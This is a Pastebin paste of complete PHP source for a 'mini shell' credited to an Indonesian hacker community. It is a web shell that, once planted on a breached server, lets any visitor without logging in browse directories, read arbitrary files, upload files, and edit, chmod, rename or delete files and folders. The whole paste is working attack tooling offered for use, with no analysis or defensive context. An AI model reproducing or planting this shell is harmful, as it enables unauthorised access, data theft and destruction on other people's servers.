Advertisement
jefrialdi33

MINI SHELL BY 4LF45T 2

Jan 15th, 2019
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.00 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>[!] 4LF45T_MINI_SHELL [!]</title>
  15. <style>
  16. body{
  17. font-family: "Courgette", cursive;
  18. background-image: url(" ");
  19. color:red;
  20. background-attachment:fixed;
  21. background-repeat:no-repeat;
  22. background-position:center;
  23. background-color:Black;
  24. -webkit-background-size: 100% 100%;
  25. }
  26. h1{
  27. color:red;
  28. -webkit-text-stroke: 0px #5ddcfc;
  29. }
  30. #content tr:hover{
  31. background-color: #5ddcfc;
  32. text-shadow:1px 1px 0px #000;
  33. }
  34. #content .first{
  35. color:red;
  36. background-color: #5ddcfc;
  37. }
  38. table{
  39. border: 0px #9435dd solid;
  40. }
  41. a{
  42. color:red;
  43. text-decoration: none;
  44. }
  45. a:hover{
  46. color:#9435dd;
  47. text-shadow:0px 1px 0px #000;
  48. }
  49. input,select,textarea{
  50. font-family: Courgette;
  51. background-color:black;
  52. color:#5ddcfc;
  53. border: 1px red solid;
  54. -moz-border-radius: 5px;
  55. -webkit-border-radius:5px;
  56. border-radius:5px;
  57.  
  58. }
  59. </style>
  60. </head>
  61. <body>
  62. <link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
  63. <center>
  64. <h1>INDONESIAN HACLER COMMUNITY</h1></center>
  65. <table width="700" border="0" cellpadding="4" cellspacing="1"align="center">
  66. <tr><td><font color="#5ddcfc">Current Dir :</font> ';
  67. if(isset($_GET['path'])){
  68. $path = $_GET['path'];
  69. }else{
  70. $path = getcwd();
  71. }
  72. $path = str_replace('\\','/',$path);
  73. $paths = explode('/',$path);
  74.  
  75. foreach($paths as $id=>$pat){
  76. if($pat == '' && $id == 0){
  77. $a = true;
  78. echo '<a href="?path=/">/</a>';
  79. continue;
  80. }
  81. if($pat == '') continue;
  82. echo '<a href="?path=';
  83. for($i=0;$i<=$id;$i++){
  84. echo "$paths[$i]";
  85. if($i != $id) echo "/";
  86. }
  87. echo '">'.$pat.'</a>/';
  88. }
  89. echo '</td></tr><tr><td>';
  90. if(isset($_FILES['file'])){
  91. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  92. echo '<font color="#5ddcfc">Upload File Berhasil</font><br />';
  93. }else{
  94. echo '<font color="#9435dd">Upload File Gagal</font><br/>';
  95. }
  96. }
  97. echo '<form enctype="multipart/form-data" method="POST">
  98. <font color="#5ddcfc">File Upload :</font><input type="file" name="file" /><input type="submit" value="upload" />
  99. </form>
  100. </td></tr>';
  101. if(isset($_GET['filesrc'])){
  102. echo "<tr><td>Current File : ";
  103. echo $_GET['filesrc'];
  104. echo '</tr></td></table><br />';
  105. echo(' <center><textarea style="width: 700px;height: 300px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea></center>');
  106. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  107. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  108. if($_POST['opt'] == 'chmod'){
  109. if(isset($_POST['perm'])){
  110. if(chmod($_POST['path'],$_POST['perm'])){
  111. echo '<font color="#5ddcfc">Change Permission Berhasil</font><br/>';
  112. }else{
  113. echo '<font color="#9435dd">Change Permission Gagal</font><br />';
  114. }
  115. }
  116. echo '<form method="POST">
  117. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  118. <input type="hidden" name="path" value="'.$_POST['path'].'">
  119. <input type="hidden" name="opt" value="chmod">
  120. <input type="submit" value="Go" />
  121. </form>';
  122. }elseif($_POST['opt'] == 'rename'){
  123. if(isset($_POST['newname'])){
  124. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  125. echo '<font color="#5ddcfc">Berhasil Mengganti Nama</font><br/>';
  126. }else{
  127. echo '<font color="#9435dd">Gagal Mengganti Nama</font><br />';
  128. }
  129. $_POST['name'] = $_POST['newname'];
  130. }
  131. echo '<form method="POST">
  132. Nama Baru : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  133. <input type="hidden" name="path" value="'.$_POST['path'].'">
  134. <input type="hidden" name="opt" value="rename">
  135. <input type="submit" value="Simpan" />
  136. </form>';
  137. }elseif($_POST['opt'] == 'edit'){
  138. if(isset($_POST['src'])){
  139. $fp = fopen($_POST['path'],'w');
  140. if(fwrite($fp,$_POST['src'])){
  141. echo '<font color="#5ddcfc">Berhasil Edit File</font><br/>';
  142. }else{
  143. echo '<font color="#9435dd">Gagal Edit File</font><br/>';
  144. }
  145. fclose($fp);
  146. }
  147. echo '<form method="POST">
  148. <center><textarea style="width: 700px;height: 300px;" name="src"> '.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea></center><br />
  149. <input type="hidden" name="path" value="'.$_POST['path'].'">
  150. <input type="hidden" name="opt" value="edit">
  151. <input type="submit" value="Simpan" />
  152. </form>';
  153. }
  154. echo '</center>';
  155. }else{
  156. echo '</table><br/><center>';
  157. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  158. if($_POST['type'] == 'dir'){
  159. if(rmdir($_POST['path'])){
  160. echo '<font color="#5ddcfc">Directory Berhasil Terhapus</font><br/>';
  161. }else{
  162. echo '<font color="#9435dd">Directory Gagal Terhapus </font><br/>';
  163. }
  164. }elseif($_POST['type'] == 'file'){
  165. if(unlink($_POST['path'])){
  166. echo '<font color="#5ddcfc">File Berhasil Terhapus</font><br/>';
  167. }else{
  168. echo '<font color="#9435dd">File Gagal Dihapus</font><br/>';
  169. }
  170. }
  171. }
  172. echo '</center>';
  173. $scandir = scandir($path);
  174. echo '<div id="content"><table width="700" border="0" cellpadding="4" cellspacing="1" align="center">
  175. <tr class="first">
  176. <td><center>Name</peller></center></td>
  177. <td><center>Size</peller></center></td>
  178. <td><center>Permission</peller></center></td>
  179. <td><center>Modify</peller></center></td>
  180. </tr>';
  181.  
  182. foreach($scandir as $dir){
  183. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  184. echo '<tr>
  185. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  186. <td><center>----</center></td>
  187. <td><center>';
  188. if(is_writable($path.'/'.$dir)) echo '<font color=" #00edff">';
  189. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  190. echo perms($path.'/'.$dir);
  191. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  192.  
  193. echo '</center></td>
  194. <td><center><form method="POST" action="?option&path='.$path.'">
  195. <select name="opt">
  196. <option value="">Select</option>
  197. <option value="delete">Delete</option>
  198. <option value="chmod">Chmod</option>
  199. <option value="rename">Rename</option>
  200. </select>
  201. <input type="hidden" name="type" value="dir">
  202. <input type="hidden" name="name" value="'.$dir.'">
  203. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  204. <input type="submit" value=">">
  205. </form></center></td>
  206. </tr>';
  207. }
  208. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  209. foreach($scandir as $file){
  210. if(!is_file($path.'/'.$file)) continue;
  211. $size = filesize($path.'/'.$file)/1024;
  212. $size = round($size,3);
  213. if($size >= 1024){
  214. $size = round($size/1024,2).' MB';
  215. }else{
  216. $size = $size.' KB';
  217. }
  218.  
  219. echo '<tr>
  220. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  221. <td><center>'.$size.'</center></td>
  222. <td><center>';
  223. if(is_writable($path.'/'.$file)) echo '<font color=" #00edff">';
  224. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  225. echo perms($path.'/'.$file);
  226. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  227. echo '</center></td>
  228. <td><center><form method="POST" action="?option&path='.$path.'">
  229. <select name="opt">
  230. <option value="">Select</option>
  231. <option value="delete">Delete</option>
  232. <option value="chmod">Chmod</option>
  233. <option value="rename">Rename</option>
  234. <option value="edit">Edit</option>
  235. </select>
  236. <input type="hidden" name="type" value="file">
  237. <input type="hidden" name="name" value="'.$file.'">
  238. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  239. <input type="submit" value=">">
  240. </form></center></td>
  241. </tr>';
  242. }
  243. echo '</table>
  244. </div>';
  245. }
  246. echo '<center><br/> </center>
  247. <center><font color="red" face="Courgette" size="4">Copyright &copy; 2019 <font color="#9435dd">Indonesian Hacker Community</font></center>
  248. </body>
  249. </html>';
  250. function perms($file){
  251. $perms = fileperms($file);
  252.  
  253. if (($perms & 0xC000) == 0xC000) {
  254. // Socket
  255. $info = 's';
  256. } elseif (($perms & 0xA000) == 0xA000) {
  257. // Symbolic Link
  258. $info = 'l';
  259. } elseif (($perms & 0x8000) == 0x8000) {
  260. // Regular
  261. $info = '-';
  262. } elseif (($perms & 0x6000) == 0x6000) {
  263. // Block special
  264. $info = 'b';
  265. } elseif (($perms & 0x4000) == 0x4000) {
  266. // Directory
  267. $info = 'd';
  268. } elseif (($perms & 0x2000) == 0x2000) {
  269. // Character special
  270. $info = 'c';
  271. } elseif (($perms & 0x1000) == 0x1000) {
  272. // FIFO pipe
  273. $info = 'p';
  274. } else {
  275. // Unknown
  276. $info = 'u';
  277. }
  278.  
  279. // Owner
  280. $info .= (($perms & 0x0100) ? 'r' : '-');
  281. $info .= (($perms & 0x0080) ? 'w' : '-');
  282. $info .= (($perms & 0x0040) ?
  283. (($perms & 0x0800) ? 's' : 'x' ) :
  284. (($perms & 0x0800) ? 'S' : '-'));
  285.  
  286. // Group
  287. $info .= (($perms & 0x0020) ? 'r' : '-');
  288. $info .= (($perms & 0x0010) ? 'w' : '-');
  289. $info .= (($perms & 0x0008) ?
  290. (($perms & 0x0400) ? 's' : 'x' ) :
  291. (($perms & 0x0400) ? 'S' : '-'));
  292.  
  293. // World
  294. $info .= (($perms & 0x0004) ? 'r' : '-');
  295. $info .= (($perms & 0x0002) ? 'w' : '-');
  296. $info .= (($perms & 0x0001) ?
  297. (($perms & 0x0200) ? 't' : 'x' ) :
  298. (($perms & 0x0200) ? 'T' : '-'));
  299.  
  300. return $info;
  301. }
  302. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement